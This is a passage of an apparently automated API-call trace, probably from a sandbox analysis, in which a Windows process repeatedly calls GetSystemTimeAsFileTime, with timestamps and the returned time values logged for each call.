GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3a68fe30, dwHighDateTime=0x1d31ac1)) [0113.902] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3a68fe30, dwHighDateTime=0x1d31ac1)) [0113.903] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3a68fe30, dwHighDateTime=0x1d31ac1)) [0114.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3a7e6a90, dwHighDateTime=0x1d31ac1)) [0114.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3a7e6a90, dwHighDateTime=0x1d31ac1)) [0114.047] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3a80cbf0, dwHighDateTime=0x1d31ac1)) [0114.048] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3a80cbf0, dwHighDateTime=0x1d31ac1)) [0114.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3a80cbf0, dwHighDateTime=0x1d31ac1)) [0114.055] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3a80cbf0, dwHighDateTime=0x1d31ac1)) [0114.061] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3a832d50, dwHighDateTime=0x1d31ac1)) [0114.062] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3a832d50, dwHighDateTime=0x1d31ac1)) [0114.067] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3a832d50, dwHighDateTime=0x1d31ac1)) [0114.068] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3a832d50, dwHighDateTime=0x1d31ac1)) [0114.073] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3a832d50, dwHighDateTime=0x1d31ac1)) [0114.074] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3a832d50, dwHighDateTime=0x1d31ac1)) [0114.181] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3a93d6f0, dwHighDateTime=0x1d31ac1)) [0114.182] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3a93d6f0, dwHighDateTime=0x1d31ac1)) [0114.188] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3a963850, dwHighDateTime=0x1d31ac1)) [0114.189] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3a963850, dwHighDateTime=0x1d31ac1)) [0114.194] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3a963850, dwHighDateTime=0x1d31ac1)) [0114.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3a963850, dwHighDateTime=0x1d31ac1)) [0114.201] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3a9899b0, dwHighDateTime=0x1d31ac1)) [0114.202] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3a9899b0, dwHighDateTime=0x1d31ac1)) [0114.207] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3a9899b0, dwHighDateTime=0x1d31ac1)) [0114.208] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3a9899b0, dwHighDateTime=0x1d31ac1)) [0114.208] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3a9899b0, dwHighDateTime=0x1d31ac1)) [0114.208] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3a9899b0, dwHighDateTime=0x1d31ac1)) [0114.213] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3a9899b0, dwHighDateTime=0x1d31ac1)) [0114.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3a9fbdd0, dwHighDateTime=0x1d31ac1)) [0114.260] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3a9fbdd0, dwHighDateTime=0x1d31ac1)) [0114.261] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3a9fbdd0, dwHighDateTime=0x1d31ac1)) [0114.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3aa21f30, dwHighDateTime=0x1d31ac1)) [0114.268] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3aa21f30, dwHighDateTime=0x1d31ac1)) [0114.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3aa21f30, dwHighDateTime=0x1d31ac1)) [0114.274] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3aa21f30, dwHighDateTime=0x1d31ac1)) [0114.274] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3aa21f30, dwHighDateTime=0x1d31ac1)) [0114.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3aa48090, dwHighDateTime=0x1d31ac1)) [0114.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3aa48090, dwHighDateTime=0x1d31ac1)) [0114.285] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3aa48090, dwHighDateTime=0x1d31ac1)) [0114.286] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3aa48090, dwHighDateTime=0x1d31ac1)) [0114.286] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3aa48090, dwHighDateTime=0x1d31ac1)) [0114.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3aa48090, dwHighDateTime=0x1d31ac1)) [0114.293] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3aa48090, dwHighDateTime=0x1d31ac1)) [0114.345] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3aae0610, dwHighDateTime=0x1d31ac1)) [0114.346] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3aae0610, dwHighDateTime=0x1d31ac1)) [0114.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3aae0610, dwHighDateTime=0x1d31ac1)) [0114.352] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3aae0610, dwHighDateTime=0x1d31ac1)) [0114.357] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3ab06770, dwHighDateTime=0x1d31ac1)) [0114.358] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3ab06770, dwHighDateTime=0x1d31ac1)) [0114.363] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3ab06770, dwHighDateTime=0x1d31ac1)) [0114.364] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3ab06770, dwHighDateTime=0x1d31ac1)) [0114.369] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3ab06770, dwHighDateTime=0x1d31ac1)) [0114.370] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3ab06770, dwHighDateTime=0x1d31ac1)) [0114.376] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3ab2c8d0, dwHighDateTime=0x1d31ac1)) [0114.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3ab2c8d0, dwHighDateTime=0x1d31ac1)) [0114.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3ab2c8d0, dwHighDateTime=0x1d31ac1)) [0114.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3ab2c8d0, dwHighDateTime=0x1d31ac1)) [0114.482] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3ac37270, dwHighDateTime=0x1d31ac1)) [0114.483] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3ac37270, dwHighDateTime=0x1d31ac1)) [0114.489] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3ac37270, dwHighDateTime=0x1d31ac1)) [0114.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3ac37270, dwHighDateTime=0x1d31ac1)) [0114.495] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3ac37270, dwHighDateTime=0x1d31ac1)) [0114.496] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3ac5d3d0, dwHighDateTime=0x1d31ac1)) [0114.502] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3ac5d3d0, dwHighDateTime=0x1d31ac1)) [0114.503] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3ac5d3d0, dwHighDateTime=0x1d31ac1)) [0114.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3ac5d3d0, dwHighDateTime=0x1d31ac1)) [0114.509] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3ac5d3d0, dwHighDateTime=0x1d31ac1)) [0114.514] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3ac83530, dwHighDateTime=0x1d31ac1)) [0114.515] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3ac83530, dwHighDateTime=0x1d31ac1)) [0114.520] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3ac83530, dwHighDateTime=0x1d31ac1)) [0114.521] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3ac83530, dwHighDateTime=0x1d31ac1)) [0114.526] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3ac83530, dwHighDateTime=0x1d31ac1)) [0114.582] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3ad1bab0, dwHighDateTime=0x1d31ac1)) [0114.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3ad1bab0, dwHighDateTime=0x1d31ac1)) [0114.588] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3ad1bab0, dwHighDateTime=0x1d31ac1)) [0114.594] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3ad41c10, dwHighDateTime=0x1d31ac1)) [0114.595] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3ad41c10, dwHighDateTime=0x1d31ac1)) [0114.600] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3ad41c10, dwHighDateTime=0x1d31ac1)) [0114.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3ad41c10, dwHighDateTime=0x1d31ac1)) [0114.651] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3adb4030, dwHighDateTime=0x1d31ac1)) [0114.652] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3adb4030, dwHighDateTime=0x1d31ac1)) [0114.657] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3adda190, dwHighDateTime=0x1d31ac1)) [0114.658] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3adda190, dwHighDateTime=0x1d31ac1)) [0114.664] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3adda190, dwHighDateTime=0x1d31ac1)) [0114.665] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3adda190, dwHighDateTime=0x1d31ac1)) [0114.717] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3ae72710, dwHighDateTime=0x1d31ac1)) [0114.718] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3ae72710, dwHighDateTime=0x1d31ac1)) [0114.723] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3ae72710, dwHighDateTime=0x1d31ac1)) [0114.724] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3ae72710, dwHighDateTime=0x1d31ac1)) [0114.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3ae72710, dwHighDateTime=0x1d31ac1)) [0114.731] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3ae98870, dwHighDateTime=0x1d31ac1)) [0114.736] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3ae98870, dwHighDateTime=0x1d31ac1)) [0114.737] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3ae98870, dwHighDateTime=0x1d31ac1)) [0114.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3ae98870, dwHighDateTime=0x1d31ac1)) [0114.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3ae98870, dwHighDateTime=0x1d31ac1)) [0114.749] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3aebe9d0, dwHighDateTime=0x1d31ac1)) [0114.750] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3aebe9d0, dwHighDateTime=0x1d31ac1)) [0114.755] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3aebe9d0, dwHighDateTime=0x1d31ac1)) [0114.756] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3aebe9d0, dwHighDateTime=0x1d31ac1)) [0114.816] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3af56f50, dwHighDateTime=0x1d31ac1)) [0114.817] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3af56f50, dwHighDateTime=0x1d31ac1)) [0114.823] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3af56f50, dwHighDateTime=0x1d31ac1)) [0114.824] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3af7d0b0, dwHighDateTime=0x1d31ac1)) [0114.829] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3af7d0b0, dwHighDateTime=0x1d31ac1)) [0114.830] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3af7d0b0, dwHighDateTime=0x1d31ac1)) [0114.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3af7d0b0, dwHighDateTime=0x1d31ac1)) [0114.837] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3af7d0b0, dwHighDateTime=0x1d31ac1)) [0114.842] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3afa3210, dwHighDateTime=0x1d31ac1)) [0114.843] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3afa3210, dwHighDateTime=0x1d31ac1)) [0114.849] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3afa3210, dwHighDateTime=0x1d31ac1)) [0114.850] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3afa3210, dwHighDateTime=0x1d31ac1)) [0114.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b0618f0, dwHighDateTime=0x1d31ac1)) [0114.930] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b0618f0, dwHighDateTime=0x1d31ac1)) [0114.936] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b087a50, dwHighDateTime=0x1d31ac1)) [0114.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b087a50, dwHighDateTime=0x1d31ac1)) [0114.942] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b087a50, dwHighDateTime=0x1d31ac1)) [0114.943] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b087a50, dwHighDateTime=0x1d31ac1)) [0114.949] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b0adbb0, dwHighDateTime=0x1d31ac1)) [0114.950] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b0adbb0, dwHighDateTime=0x1d31ac1)) [0114.955] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b0adbb0, dwHighDateTime=0x1d31ac1)) [0114.956] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b0adbb0, dwHighDateTime=0x1d31ac1)) [0114.962] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b0adbb0, dwHighDateTime=0x1d31ac1)) [0114.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b0adbb0, dwHighDateTime=0x1d31ac1)) [0115.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b1b8550, dwHighDateTime=0x1d31ac1)) [0115.060] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b1b8550, dwHighDateTime=0x1d31ac1)) [0115.066] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b1b8550, dwHighDateTime=0x1d31ac1)) [0115.067] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b1b8550, dwHighDateTime=0x1d31ac1)) [0115.072] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b1b8550, dwHighDateTime=0x1d31ac1)) [0115.073] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b1de6b0, dwHighDateTime=0x1d31ac1)) [0115.079] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b1de6b0, dwHighDateTime=0x1d31ac1)) [0115.080] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b1de6b0, dwHighDateTime=0x1d31ac1)) [0115.085] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b1de6b0, dwHighDateTime=0x1d31ac1)) [0115.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b1de6b0, dwHighDateTime=0x1d31ac1)) [0115.247] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b3815d0, dwHighDateTime=0x1d31ac1)) [0115.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b3815d0, dwHighDateTime=0x1d31ac1)) [0115.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b3815d0, dwHighDateTime=0x1d31ac1)) [0115.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b3815d0, dwHighDateTime=0x1d31ac1)) [0115.260] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b3815d0, dwHighDateTime=0x1d31ac1)) [0115.261] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b3a7730, dwHighDateTime=0x1d31ac1)) [0115.261] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b3a7730, dwHighDateTime=0x1d31ac1)) [0115.266] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b3a7730, dwHighDateTime=0x1d31ac1)) [0115.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: 